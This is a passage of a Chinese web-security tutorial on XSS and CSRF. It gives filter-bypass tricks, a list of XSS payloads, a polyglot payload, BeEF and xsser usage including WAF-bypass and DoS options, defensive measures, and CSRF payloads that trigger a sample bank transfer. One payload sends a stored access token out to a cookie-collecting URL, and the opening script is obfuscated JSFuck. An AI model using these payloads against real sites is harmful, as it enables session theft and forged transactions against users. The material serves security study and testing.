[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>

一些常用小技巧

在挖掘xss漏洞時(shí),經(jīng)常會(huì)遇到各類過(guò)濾手段,比如將<>進(jìn)行html實(shí)體編碼,單雙引號(hào)過(guò)濾,空格過(guò)濾,關(guān)鍵字過(guò)濾等等

1. 編碼繞過(guò):
? ? url編碼繞過(guò)
? ? unicode編碼繞過(guò)
? ? html實(shí)體編碼繞過(guò):實(shí)體編碼繞過(guò)需要結(jié)合<svg></svg>標(biāo)簽使用,否則利用的失敗率比較高

2. 換行繞過(guò)
? ? 使用%0A進(jìn)行關(guān)鍵字繞過(guò)

3. 利用全局變量繞過(guò)
? ? Self,window等等
? ? c=0;for(i in self){if(/^a[rel]+t$/.test(i)){self[Object.keys(self)[c]](1)}c++;};

4. 關(guān)鍵字繞過(guò)
? ? Alert被過(guò)濾了可以使用下面的進(jìn)行彈窗
? ? <script>prompt(“1”);</script>
? ? <script>confirm(1);</script>

1. <script>new Image().src='http://localhost/cookie.php?c='+localStorage.getItem('access_token');</script>
2.<img src=x οnerrοr=alert(1)>
3. Б='',Д=!Б+Б,И=!Д+Б,Ж=Б+{},Щ=Д[Б++],З=Д[Л=Б],Ю=++Л+Б,Ф=Ж[Л+Ю],Д[Ф+=Ж[Б]+(Д.И+Ж)[Б]+И[Ю]+Щ+З+Д[Л]+Ф+Щ+Ж[Б]+З][Ф](И[Б]+И[Л]+Д[Ю]+З+Щ+"(Б)")();

5. 一些奇形怪狀的xss的payload ( 使用其他語(yǔ)言編碼后的 js )
6. <script>alert(document.cookie);</script>
7. <svg/οnlοad=alert(1)>
8. <a href=”javascript:alert(1);”>test</a>

萬(wàn)能 xss payload

關(guān)鍵字:萬(wàn)能 xss payload

終極萬(wàn)能XSS Payload:https://blog.csdn.net/qq_39997096/article/details/114646308

漏洞進(jìn)階之 --- XSS萬(wàn)能超級(jí)無(wú)敵全通殺payload:https://blog.csdn.net/LizePing_/article/details/118581289

在進(jìn)行跨站腳本攻擊的時(shí)候(xss),通常會(huì)需要我們通過(guò)插入的代碼場(chǎng)景構(gòu)造 payload。就比較耗費(fèi)時(shí)間,為了更方便的去測(cè)試漏洞,萬(wàn)能 XSS payload 就出現(xiàn)了

什么是萬(wàn)能 XSS payload:

這里對(duì)它的定義就是可以適應(yīng)各種場(chǎng)景進(jìn)行 js 代碼執(zhí)行的 payload,只需要有這一條 payload 即可(例如閉合html 閉合js)

下面我們來(lái)看看 payload長(zhǎng)什么樣子:

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

可以用這個(gè) "萬(wàn)能 xss payload" 試下 在線 xss:https://xss.angelo.org.cn/level1.php?name=XSS

更多功能的 xss 平臺(tái)

pikachu 的 xss 只有 "cookie、釣魚、記錄鍵盤" 功能。

可以看到只有3個(gè)模塊,模塊太少,如果需要其他功能,可以搜索其他 xss 后臺(tái),

搜索關(guān)鍵字:xss 平臺(tái)、xss平臺(tái)

github xss平臺(tái):https://github.com/78778443/xssplatform

搭建個(gè)人XSS平臺(tái):https://blog.csdn.net/weixin_44676102/article/details/122021764

kali 中 xss 平臺(tái) --- beef-xss

kali 早期版本中也有一個(gè) " xss 平臺(tái) " 叫做 " beff-xss ",新版本需要安裝。

1. apt install beef-xss  ? ? # 安裝 beef
2. cd /usr/share/beef-xss ? # 切換到 beef 目錄
3. vim config.yaml  ? ? ? ? ?# 打開配置文件
4. 按 i 進(jìn)入插入模式,找到默認(rèn) user,password 進(jìn)行修改,找到 host 修改成本機(jī)地址
5. systemctl start beef-xss.service  ? ? # 開啟 beef
 ?systemctl stop beef-xss.service  ? ? # 關(guān)閉 beef
 ?systemctl restart beef-xss.service  # 重啟 beef
6. 瀏覽器打開 http://127.0.0.1:3000/ui/panel? 然后輸入用戶名、密碼

BeEF-XSS 管理登錄頁(yè)面。用戶名默認(rèn)為 beef,密碼在首次啟動(dòng) beef-xss 時(shí)需要手動(dòng)設(shè)置。( 啟動(dòng) beef-xss 會(huì)自動(dòng)打開瀏覽器 )

測(cè)試 xss

Hocked Browers

  • online browers 在線瀏覽器
  • offline browers ?離線瀏覽器

Detials

  • 瀏覽器、插件版本信息,操作系統(tǒng)信息

Logs

  • 瀏覽器動(dòng)作:焦點(diǎn)變化,鼠標(biāo)單擊,信息輸入

commands

  • 綠色模塊:表示模塊適用當(dāng)前用戶,并且執(zhí)行結(jié)果對(duì)用戶不可見
  • 紅色模塊:表示模塊不適用當(dāng)前用戶,有些紅色模塊也可以執(zhí)行
  • 橙色模塊:模塊可用,但結(jié)果對(duì)用戶可見
  • 灰色模塊:模塊為在目標(biāo)瀏覽器上測(cè)試過(guò)

BeEF-XSS詳細(xì)使用教程:https://blog.csdn.net/smli_ng/article/details/106067842

xss 掃描 工具

關(guān)鍵字:xss 掃描 工具

還在往各種輸入框里提交 <script>alert(/xss/)</script> ?
有這功夫不如喝喝茶、劃劃水?
這時(shí)候就需要 XSS 掃描 工具

xsser

github:https://github.com/epsylon/xsser

xsser 是一個(gè)自動(dòng)框架,用于檢測(cè)、利用和報(bào)告基于 Web 的應(yīng)用程序中的 XSS 漏洞。

用法:

xsser [OPTIONS] [--all <url> |-u <url> |-i <file> |-d <dork> (options)|-l ] [-g <get> |-p <post> |- c <crawl> (OPTIONS)]
[URL(s)] [Checker(s)] [Vector(s)] [Anti-anti-antiXSS/IDS] [Bypasser(s)] [Technique(s)] [Final Injection(s)] [Reporting] {Miscellaneous}

選項(xiàng):
? ? --version ? ? ? ? 顯示版本
? ? -h, --help ? ? ? ?顯示幫助
? ? -s, --statistics ?顯示高級(jí)統(tǒng)計(jì)輸出結(jié)果
? ? -v, --verbose ? ? 詳細(xì)顯示輸出結(jié)果
? ? --gtk ? ? ? ? ? ? 啟動(dòng) XSSer GTK 接口
? ? --wizard ? ? ? ? ?啟動(dòng)向?qū)е?/p>

*特殊功能*:
? ? 設(shè)置 Vector(s) 和 Bypasser(s) 來(lái)為嵌入的 XSS 代碼構(gòu)建復(fù)雜的腳本。?
? ? XST 允許您發(fā)現(xiàn)目標(biāo)是否容易受到 "跨站點(diǎn)跟蹤" 的影響 [CAPEC-107]
? ? --imx=IMX ? ? ? ?使用 XSS 創(chuàng)建圖像 (--imx image.png)
? ? --fla=FLASH ? ? ?使用 XSS 創(chuàng)建 Flash 電影 (--fla movie.swf)
? ? --xst=XST ? ? ? ?跨站點(diǎn)跟蹤 (--xst http(s)://host.com)

*選擇目標(biāo)*:( 這些參數(shù)至少指定一個(gè) ) ? ?
? ? --all=TARGET ? ? ? 自動(dòng)審計(jì)整個(gè)目標(biāo)
? ? -u URL, --url=URL ?輸入要審計(jì)的目標(biāo)URL
? ? -i READFILE ? ? ? ?從文件中讀取目標(biāo)URL
? ? -d DORK ? ? ? ? ? ?使用查詢搜索目標(biāo)(例如:'news.php?id=')
? ? -l ? ? ? ? ? ? ? ? 從 "dorks" 列表中搜索
? ? --De=DORK_ENGINE ? 使用這個(gè)搜索引擎(默認(rèn):DuckDuckGo)
? ? --Da ? ? ? ? ? ? ? 使用所有搜索引擎進(jìn)行海量搜索

*選擇 HTTP/HTTPS 連接類型*:
? ? ( 指定哪些參數(shù)用作有效負(fù)載。在要注入的位置上將 "XSS" 設(shè)置為關(guān)鍵字 )
? ? -g GETDATA ? ? ? ? ?使用 GET 發(fā)送有效負(fù)載(例如:'/menu.php?id=XSS')
? ? -p POSTDATA ? ? ? ? 使用 POST 發(fā)送有效負(fù)載(例如:'foo=1&bar=XSS')
? ? -c CRAWLING ? ? ? ? 在目標(biāo)上抓取的 url 數(shù)量:1-99999
? ? --Cw=CRAWLER_WIDTH ?爬蟲深度:1-5(默認(rèn):2)
? ? --Cl ? ? ? ? ? ? ? ?僅抓取本地目標(biāo) URL(默認(rèn)值:FALSE)

*配置請(qǐng)求*:( 指定如何連接到目標(biāo)有效載荷。可以選擇多個(gè) ) ? ?
? ? --head ? ? ? ? ? ? ? ?在開始測(cè)試之前發(fā)送 HEAD 請(qǐng)求
? ? --cookie=COOKIE ? ? ? 更改您的 HTTP Cookie 標(biāo)頭
? ? --drop-cookie ? ? ? ? 忽略響應(yīng)中的 Set-Cookie 標(biāo)頭
? ? --user-agent=AGENT ? ?更改您的 HTTP User-Agent 標(biāo)頭(默認(rèn)值:SPOOFED)
? ? --referer=REFERER ? ? 使用另一個(gè) HTTP Referer 標(biāo)頭(默認(rèn)值:NONE)
? ? --xforw ? ? ? ? ? ? ? 使用隨機(jī) IP 值設(shè)置 HTTP X-Forwarded-For
? ? --xclient ? ? ? ? ? ? 使用隨機(jī) IP 值設(shè)置您的 HTTP X-Client-IP
? ? --headers=HEADERS ? ? 額外的 HTTP 標(biāo)頭換行分隔
? ? --auth-type=ATYPE ? ? HTTP 身份驗(yàn)證類型(基本、摘要、GSS 或 NTLM)
? ? --auth-cred=ACRED ? ? HTTP 身份驗(yàn)證憑據(jù)(名稱:密碼)
? ? --check-tor ? ? ? ? ? 檢查 Tor 是否正確使用
? ? --proxy=PROXY ? ? ? ? 使用代理服務(wù)器 (tor: http://localhost:8118)
? ? --ignore-proxy ? ? ? ?忽略系統(tǒng)默認(rèn)的HTTP代理
? ? --timeout=TIMEOUT ? ? 選擇你的超時(shí)時(shí)間(默認(rèn)值:30)
? ? --retries=RETRIES ? ? 連接超時(shí)重試(默認(rèn)值:1)
? ? --threads=THREADS ? ? 最大并發(fā)請(qǐng)求數(shù)(默認(rèn):5)
? ? --delay=DELAY ? ? ? ? 每個(gè)請(qǐng)求之間的延遲秒數(shù)(默認(rèn)值:0)
? ? --tcp-nodelay ? ? ? ? 使用 TCP_NODELAY 選項(xiàng)
? ? --follow-redirects ? ?跟隨服務(wù)器重定向(默認(rèn)值:FALSE)
? ? --follow-limit=FLI ? ?設(shè)置重定向請(qǐng)求的限制(默認(rèn)值:50)

*Checker(s)*:( 檢查目標(biāo)是否使用過(guò)濾器來(lái)抵御 XSS 攻擊 ) ? ??
? ? --hash ? ? ? ? ? ? 發(fā)送一個(gè)哈希來(lái)檢查目標(biāo)是否重復(fù)內(nèi)容
? ? --heuristic ? ? ? ?使用啟發(fā)式過(guò)濾來(lái)發(fā)現(xiàn)參數(shù)
? ? --discode=DISCODE ?在回復(fù)時(shí)設(shè)置代碼以丟棄注入
? ? --checkaturl=ALT ? 檢查回復(fù)使用:<alternative url> [aka BLIND-XSS]
? ? --checkmethod=ALTM 檢查回復(fù)使用:GET 或 POST(默認(rèn):GET)
? ? --checkatdata=ALD ?檢查回復(fù)使用:<alternative payload>
? ? --reverse-check ? ?建立從目標(biāo)到 XSSer 的反向連接

*Vector(s)*:
? ? 指定注入代碼。
? ? --payload=SCRIPT ? 注入你自己的代碼
? ? --auto ? ? ? ? ? ? 注入 XSSer 提供的

*選擇 payload*:
? ? 設(shè)置 XSSer 提供的向量列表。 僅在需要時(shí)選擇
? ? --auto-set=FZZ_NUM ? ? ?要注入的向量限制(默認(rèn)值:1293)
? ? --auto-info ? ? ? ? ? ? 僅選擇帶有 INFO 的向量(默認(rèn)值:FALSE)
? ? --auto-random ? ? ? ? ? 設(shè)置隨機(jī)排序(默認(rèn)值:FALSE)

*反 antiXSS 防火墻規(guī)則*:
? ? 這些選項(xiàng)可用于嘗試?yán)@過(guò)特定的 WAF/IDS 產(chǎn)品和一些反 XSS 瀏覽器過(guò)濾器。
? ? 僅在需要時(shí)選擇: ? ?
? ? --Phpids0.6.5 PHPIDS (0.6.5) [全部]
? ? --Phpids0.7 PHPIDS (0.7) [全部]
? ? --Imperva Imperva Incapsula [全部]
? ? --Webknight WebKnight (4.1) [Chrome]
? ? --F5bigip F5 大IP [Chrome + FF + Opera]
? ? --Barracuda Barracuda WAF [全部]
? ? --Modsec Mod-Security [全部]
? ? --QuickDefense 快速防御 [Chrome]
? ? --Sucuri SucuriWAF [全部]
? ? --Firefox Firefox 12 [及以下]
? ? --Chrome Chrome 19 和 Firefox 12 [及以下]
? ? --Opera Opera 10.5 [及以下]
? ? --Iexplorer IExplorer 9 & Firefox 12 [及以下]

*選擇 Bypasser(旁路器)*:
? ? 用于對(duì)向量進(jìn)行編碼并嘗試?yán)@過(guò)可能的反 XSS 過(guò)濾器。?
? ? 它們可以與其他技術(shù)結(jié)合使用
? ? --Str ? ? 使用方法 String.FromCharCode()
? ? --Une ? ? 使用 Unescape() 函數(shù)
? ? --Mix ? ? 混合 String.FromCharCode() 和 Unescape()
? ? --Dec ? ? 使用十進(jìn)制編碼
? ? --Hex ? ? 使用十六進(jìn)制編碼
? ? --Hes ? ? 使用帶分號(hào)的十六進(jìn)制編碼
? ? --Dwo ? ? 使用 DWORD 編碼 IP 地址
? ? --Doo ? ? 使用八進(jìn)制編碼 IP 地址
? ? --Cem=CEM 設(shè)置不同的 "字符編碼突變"(反轉(zhuǎn)混淆器)(例如:'Mix,Une,Str,Hex')

*特殊技術(shù)*:
? ? 這些選項(xiàng)可用于使用不同的 XSS 技術(shù)和模糊向量注入代碼。可以選擇多個(gè)
? ? --Coo ? ?跨站腳本 Cookie 注入
? ? --Xsa ? ?跨站點(diǎn)代理腳本
? ? --Xsr ? ?跨站引用腳本
? ? --Dcp ? ?數(shù)據(jù)控制協(xié)議注入
? ? --Dom ? ?文檔對(duì)象模型注入
? ? --Ind ? ?HTTP 響應(yīng)拆分誘導(dǎo)代碼

*選擇最終注射*:
? ? 這些選項(xiàng)可用于指定要在易受攻擊的目標(biāo)上注入的最終代碼。?
? ? 如果您\想 "瘋狂地" 利用發(fā)現(xiàn)的漏洞,這一點(diǎn)很重要。 只選擇一個(gè)選項(xiàng)
? ? --Fp=FINALPAYLOAD ? ?利用你自己的代碼
? ? --Fr=FINALREMOTE ? ? 利用腳本 -remotely-

*特殊最終注射*:
? ? 這些選項(xiàng)可用于在易受攻擊的目標(biāo)上執(zhí)行一些“特殊”注入。?
? ? 您可以選擇多個(gè)并將它們與您的最終代碼組合(DCP 漏洞利用除外) ? ?
? ? --Anchor ? ?使用 "Anchor Stealth" 有效載荷(DOM 陰影!)
? ? --B64 ? ? ? META 標(biāo)簽中的 Base64 代碼編碼 (rfc2397)
? ? --Onm ? ? ? 使用 onMouseMove() 事件
? ? --Ifr ? ? ? 使用 <iframe> 源標(biāo)簽
? ? --Dos ? ? ? XSS(客戶端)拒絕服務(wù)
? ? --Doss ? ? ?XSS(服務(wù)器)拒絕服務(wù)

*報(bào)告*:
? ? --save ? ? ? ? ? 導(dǎo)出到文件 (XSSreport.raw)
? ? --xml=FILEXML ? ?導(dǎo)出為 XML (--xml file.xml)

*各種各樣的*:
? ? --silent ? ? ? ? ? 禁止控制臺(tái)輸出結(jié)果
? ? --alive=ISALIVE ? ?在檢查目標(biāo)是否處于活動(dòng)狀態(tài)之前設(shè)置錯(cuò)誤限制
? ? --update ? ? ? ? ? 檢查最新的穩(wěn)定版本

示例:xsser -u https://xss.angelo.org.cn -g "/level1.php?name=XSS"

也可以圖形化:xsser --gtk

XSS 跨站攻擊 - (3) xsser:https://www.jianshu.com/p/3665f86730f7

使用示例:

用法舉例:
==============================
從URL進(jìn)行簡(jiǎn)單XSS注入:
xsser -u "http://host.com"

-------------------
從一個(gè)文件中讀取URL并且進(jìn)行簡(jiǎn)單的注入,同時(shí)設(shè)定代理參數(shù)和HTTP Header參數(shù):
xsser -i "file.txt" --proxy "http://127.0.0.1:8118" --referer "666.666.666.666"

-------------------
從URL進(jìn)行多重注入, 使用自動(dòng)化負(fù)荷,和代理, 注入負(fù)荷使用116進(jìn)制編碼 "Hex",?
產(chǎn)生冗長(zhǎng)的輸出,并且將結(jié)果保存到一個(gè)文件 (XSSlist.dat):
xsser -u "http://host.com" --proxy "http://127.0.0.1:8118" --auto --Hex --verbose -w

-------------------
URL進(jìn)行多重注入, 使用自動(dòng)化負(fù)荷和特殊的文字編碼(
第一, 改變負(fù)荷為16進(jìn)制;?
第二, 改變第一次的編碼為字節(jié)碼到字符串;?
第三, 把第二次的編碼重新進(jìn)行16進(jìn)制編碼),?
使用代理欺騙, 改變時(shí)間延遲為 "20" and 使用多線程 (5 個(gè)線程):
xsser -u "http://host.com" --auto --Cem "Hex,Str,Hex" --user-agent "XSSer!!" --timeout "20" --threads "5"

-------------------
從文件讀取進(jìn)行高級(jí)注入, 負(fù)荷采用 -own- payload 參數(shù),并且使用Unescape() 函數(shù)進(jìn)行字符編碼繞過(guò)檢測(cè):
xsser -i "urls.txt" --payload 'a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval(a+b+c+d);' --Une

-------------------
傻瓜式的選擇 "duck" 引擎進(jìn)行注入 (XSSer 蠕蟲!):
xsser --De "duck" -d "search.php?"

-------------------
注入爬行深度為3 ,頁(yè)面數(shù)目(寬度)為4 來(lái)進(jìn)行檢測(cè)(XSSer 蜘蛛!):
xsser -c3 --Cw=4 -u "http://host.com"

-------------------
從URL簡(jiǎn)單注入, 使用POST方式, 并且統(tǒng)計(jì)結(jié)果:
xsser -u "http://host.com" -p "index.php?target=search&subtarget=top&searchstring=" -s

-------------------
從URL進(jìn)行多重注入,發(fā)送參數(shù)類型為GET, 使用自動(dòng)負(fù)荷,?
使用八進(jìn)制的IP地址進(jìn)行混淆并且輸出結(jié)果到一個(gè) "tinyurl" 短網(wǎng)址 (為分享者準(zhǔn)備!):
xsser -u "http://host.com" -g "bs/?q=" --auto --Doo --short tinyurl

-------------------
從URL進(jìn)行簡(jiǎn)單注入, 使用 GET 參數(shù), 用Cookies參數(shù)注入一個(gè)向量,?
嘗試使用一個(gè) DOM 幽靈空間 (服務(wù)器無(wú)日志記錄!) 如果存在任何 "漏洞",?
則手工植入 "惡意" 代碼 (為真正的攻擊者準(zhǔn)備!):
xsser -u "http://host.com" -g "bs/?q=" --Coo --Anchor --Fr="!enter your final injection code here!"

-------------------
從URL進(jìn)行簡(jiǎn)單注入, 使用 GET 參數(shù), 嘗試產(chǎn)生一個(gè)帶
"惡意代碼" 短網(wǎng)址 (is.gd) 使用一個(gè)有效的DOS來(lái)攻擊客戶端:
xsser -u "http://host.com" -g "bs/?q=" --Dos --short "is.gd"

-------------------
多點(diǎn)多重注入, 從一個(gè)目標(biāo)中提取目標(biāo), 運(yùn)行自動(dòng)負(fù)荷,改變時(shí)間延時(shí)為 "20" ,
并且使用多線程(5 個(gè)線程), 增加延時(shí)到10 s, 注入?yún)?shù)到HTTP 的USer-Agent, HTTP 參數(shù) 和 Cookies參數(shù),?
使用Tor代理, IP進(jìn)行八進(jìn)制混淆, 進(jìn)行結(jié)果統(tǒng)計(jì), 冗長(zhǎng) 模式創(chuàng)建短網(wǎng)址 (tinyurl)?
來(lái)發(fā)現(xiàn)任何有效的攻擊負(fù)荷 (真正的攻擊模式!):
xsser -i "list_of_url_targets.txt" --auto --timeout "20" --threads "5" --delay "10" --Xsa --Xsr --Coo --proxy "http://127.0.0.1:8118" --Doo -s --verbose --Dos --short "tinyurl"

-------------------
注入用戶的XSS攻擊向量在 "在空白處"創(chuàng)建帶惡意代碼的虛假圖片, 并且準(zhǔn)備被上傳.
xsser --Imx "test.png" --payload "!在這兒輸入你的惡意代碼!"

-------------------
報(bào)告輸出'positives' 注入到 dorking搜索 (使用 "ask" dorker) ,直接寫入到一個(gè) XML 文件.
xsser -d "login.php" --De "ask" --xml "security_report_XSSer_Dork_cuil.xml"

-------------------
在 dorking 搜索中輸出正確的結(jié)果 (使用 "duck" 標(biāo)示) 可以直接查看http://identi.ca
(XSS 滲透測(cè)試 Vs 僵尸網(wǎng)絡(luò)聯(lián)盟)
xsser -d "login.php" --De "duck" --publish

* 在線例子:
-http://identi.ca/xsserbot01
-http://twitter.com/xsserbot01

-------------------
* 使用XSS代碼注入創(chuàng)建一個(gè) .swf 文件
xsser --imx "name_of_file"

-------------------
如果目標(biāo)產(chǎn)生錯(cuò)誤的結(jié)果,則每次發(fā)送一個(gè)檢測(cè)hash。
xsser -u "host.com" --check

-------------------
從URL進(jìn)行多重Fuzz注入, 包含 DCP 注入 利用自己的代碼, 用短網(wǎng)址進(jìn)行欺騙, 發(fā)現(xiàn)有用的結(jié)果. XSS實(shí)時(shí)利用.
xsser -u "host.com" --auto --Dcp --Fp "enter_your_code_here" --short "is.gd"

-------------------
Base64 編碼中間的標(biāo)記(rfc2397) 從而對(duì)一個(gè)可攻擊目標(biāo)進(jìn)行手工利用.
xsser -u "host.com" -g "vulnerable_path" --payload "valid_vector_injected" --B64

-------------------
利用自己的 "own" -遠(yuǎn)程代碼-直接在瀏覽器中進(jìn)行加載和Fuzz測(cè)試。
xsser -u "host.com" -g "vulnerable_path" --auto --Fr "my_host/path/code.js" --launch

強(qiáng)大的XSS掃描工具:XSpear

:https://zhuanlan.zhihu.com/p/101510369

XSStrike

只能運(yùn)行在 Python3 環(huán)境

:https://zhuanlan.zhihu.com/p/340106569

xss-labs 游戲 靶場(chǎng)

?講解 ( 1-10關(guān)?)

  • :https://www.bilibili.com/video/BV1Mr4y1i7s4?p=12
  • :https://www.bilibili.com/video/BV1jL4y1j7i6?p=13

?xss-labs 靶場(chǎng) 地址:https://github.com/do0dl3/xss-labs
在線 靶場(chǎng):https://xss.angelo.org.cn/level1.php?name=test

??xss-labs通關(guān)大合集:https://blog.csdn.net/wo41ge/article/details/107459332
XSS(跨站腳本攻擊)小結(jié):https://www.cnblogs.com/Ben-john/p/13829678.html
XSS 從菜鳥到高手,你可能需要這些干貨&技巧:https://www.cxymm.net/article/MachineGunJoe/117520828

1-10 關(guān) payload:

在線 html 編碼:https://www.bt.cn/tools/encryhtml.html

s 的 16進(jìn)制編碼為 x73,但是 payload 中完成表示是?&#x73;

當(dāng)前防御 XSS 的幾種策略

1、瀏覽器端主動(dòng)進(jìn)行XSS識(shí)別

如上述Chrome瀏覽器會(huì)自動(dòng)識(shí)別XSS攻擊代碼,并進(jìn)行請(qǐng)求的屏蔽

2、服務(wù)器端對(duì)于用戶輸入的內(nèi)容進(jìn)行過(guò)濾

  • a) 將重要的 cookie 標(biāo)記為 http only,這樣的話 Javascript 中的 document.cookie 語(yǔ)句就不能獲取到 cookie了;
  • b) 只允許用戶輸入我們希望的數(shù)據(jù),進(jìn)行數(shù)據(jù)格式校驗(yàn),例如年齡就只能輸入0-160的數(shù)字
  • c)? 對(duì)數(shù)據(jù)進(jìn)行 html encode 處理,過(guò)濾或移除特殊的 Html 標(biāo)簽, 例如:&lt; 替代 <, &gt; 替代 >, &quot 替代 "
  • d) 過(guò)濾 JavaScript 事件的標(biāo)簽。例如 "οnclick=", "onfocus" 等等。

3、使用較為安全的開發(fā)框架

上述代碼所使用的 nunjucks 模板中:

<label>展示內(nèi)容</label> <div id="show" class="col-md-4">{{text | safe}}<!--這里是nunjucks模板的展示寫法,由后臺(tái)賦值text變量--> </div>

nunjucks 默認(rèn)所有值都會(huì)在視圖內(nèi)自動(dòng)轉(zhuǎn)義,以防止 HTML 注入和 XSS 攻擊。 但是

| safe

這個(gè)語(yǔ)句是允許應(yīng)用程序在視圖中注入 HTML 片段。所以才會(huì)被 XSS 攻擊

4、web 入口、出口 進(jìn)行過(guò)濾

WAF 全稱 Web Application Firewall,和傳統(tǒng)防火墻的區(qū)別是,它是工作在應(yīng)用層的防火墻,主要對(duì) web 請(qǐng)求/響應(yīng)進(jìn)行防護(hù)。

Web 應(yīng)用防火墻WAF簡(jiǎn)介:https://zhuanlan.zhihu.com/p/97396469

WAF 功能介紹(入門掃盲篇):https://www.cnblogs.com/realjimmy/p/12937247.html

2021年十大開源 waf:https://zhuanlan.zhihu.com/p/342756722

總結(jié)

XSS 攻擊相比于 CSRF 攻擊,還是比較容易防范的,只要同時(shí)限制用戶輸入數(shù)據(jù)的格式和進(jìn)行數(shù)據(jù)轉(zhuǎn)義,基本可以杜絕此類攻擊

3、CSRF (?跨站請(qǐng)求偽造 )

原理、定義

?視頻講解:https://www.bilibili.com/video/BV1jL4y1j7i6?p=14

CSRF定義:?跨站請(qǐng)求偽造(英語(yǔ):Cross-site request forgery)是一種對(duì)網(wǎng)站的惡意利用,也被稱為 one-click attack 或者 session riding,通常縮寫為 CSRF 或者 XSRF, 是一種挾制用戶在當(dāng)前已登錄的 Web 應(yīng)用程序上執(zhí)行非本意的操作的攻擊方法。?CSRF跨站點(diǎn)請(qǐng)求偽造(Cross—Site Request Forgery) 跟 XSS 攻擊一樣,存在巨大的危害性。
? ? ? ? 你可以這樣來(lái)理解:攻擊者盜用了你的身份,以你的名義發(fā)送惡意請(qǐng)求,對(duì)服務(wù)器來(lái)說(shuō)這個(gè)請(qǐng)求是完全合法的,但是卻完成了攻擊者所期望的一個(gè)操作,比如以你的名義發(fā)送郵件、發(fā)消息,盜取你的賬號(hào),添加系統(tǒng)管理員,甚至于購(gòu)買商品、虛擬貨幣轉(zhuǎn)賬等。????????
? ? ? ? 簡(jiǎn)單地說(shuō),是攻擊者通過(guò)一些技術(shù)手段欺騙用戶的瀏覽器去訪問(wèn)一個(gè)自己曾經(jīng)認(rèn)證過(guò)的網(wǎng)站并執(zhí)行一些操作(如發(fā)郵件,發(fā)消息,甚至財(cái)產(chǎn)操作如轉(zhuǎn)賬和購(gòu)買商品)。由于瀏覽器曾經(jīng)認(rèn)證過(guò),所以被訪問(wèn)的網(wǎng)站會(huì)認(rèn)為是真正的用戶操作而去執(zhí)行。這利用了web中用戶身份驗(yàn)證的一個(gè)漏洞:簡(jiǎn)單的身份驗(yàn)證只能保證請(qǐng)求發(fā)自某個(gè)用戶的瀏覽器,卻不能保證請(qǐng)求本身是用戶自愿發(fā)出的。? ? ? ?

CSRF地位:是一種網(wǎng)絡(luò)攻擊方式,是互聯(lián)網(wǎng)重大安全隱患之一,NYTimes.com(紐約時(shí)報(bào))、Metafilter,YouTube、Gmail和百度HI都受到過(guò)此類攻擊。

對(duì)比XSS:跟跨網(wǎng)站腳本(XSS)相比,

  • XSS 利用的是用戶對(duì)指定網(wǎng)站的信任,需要獲取 用戶的 cookie,需要把 惡意代碼注入到網(wǎng)站
  • CSRF 利用的是網(wǎng)站對(duì)用戶網(wǎng)頁(yè)瀏覽器的信任。不需要把代碼注入網(wǎng)站,只需要調(diào)用接口

如下:其中

  • Web A 為存在CSRF漏洞的網(wǎng)站,
  • Web B 為攻擊者構(gòu)建的惡意網(wǎng)站,
  • User C 為Web A網(wǎng)站的合法用戶。

如果上面 CSRF 原理看不懂,可以再看這個(gè)原理:

先了解第一方和第三方cookie概念

  • Cookie 是一個(gè)域服務(wù)器存儲(chǔ)在瀏覽器中的一小段數(shù)據(jù)塊,只能被這個(gè)域訪問(wèn),誰(shuí)設(shè)置則誰(shuí)訪問(wèn)。
  • 第一方 Cookie:比如,訪問(wèn) www.a.com 這個(gè)網(wǎng)站,這個(gè)網(wǎng)站設(shè)置了一個(gè)Cookie,這個(gè)Cookie也只能被 www.a.com 這個(gè)域下的網(wǎng)頁(yè)讀取。
  • 第三方 Cookie:比如,訪問(wèn)www.a.com這個(gè)網(wǎng)站,網(wǎng)頁(yè)里有用到www.b.com網(wǎng)站的一張圖片,瀏覽器在www.b.com請(qǐng)求圖片的時(shí)候,www.b.com設(shè)置了一個(gè)Cookie,那這個(gè)Cookie只能被www.b.com這個(gè)域訪問(wèn),反而不能被www.a.com這個(gè)域訪問(wèn),因?yàn)閷?duì)我們來(lái)說(shuō),我們實(shí)際是在訪問(wèn)www.a.com這個(gè)網(wǎng)站被設(shè)置了一個(gè)www.b.com這個(gè)域下的Cookie,所以叫第三方Cookie。

CSRF 原理:

CSRF payload

關(guān)鍵字:CSRF payload

<img src="http://superbank.com/banktransfer.php?nameid=200amount=1000", width="0" height="0">
<a href="http://superbank.com/banktransfer.php?nameid=200amount=1000">MM在線聊天,黃圖</a>
<form action="http://superbank.com/banktransfer.php?nameid=200amount=1000" method="POST">
? ? <input type="hidden" name="account" value="zhangsan" />
? ? <input type="hidden" name="amount" value="1000" />
? ? <input type="hidden" name="to" value="wangwu" />
</form>

csrf 中的一些小tricks:https://saucer-man.com/information_security/404.html
網(wǎng)絡(luò)安全滲透測(cè)試—[常規(guī)漏洞挖掘與利用篇9]—[CSRF漏洞與測(cè)試]:https://blog.csdn.net/qq_45555226/article/details/122775569

CSRF 漏洞挖掘

怎么確定一個(gè)接口地址有沒(méi)有 CSRF 漏洞?

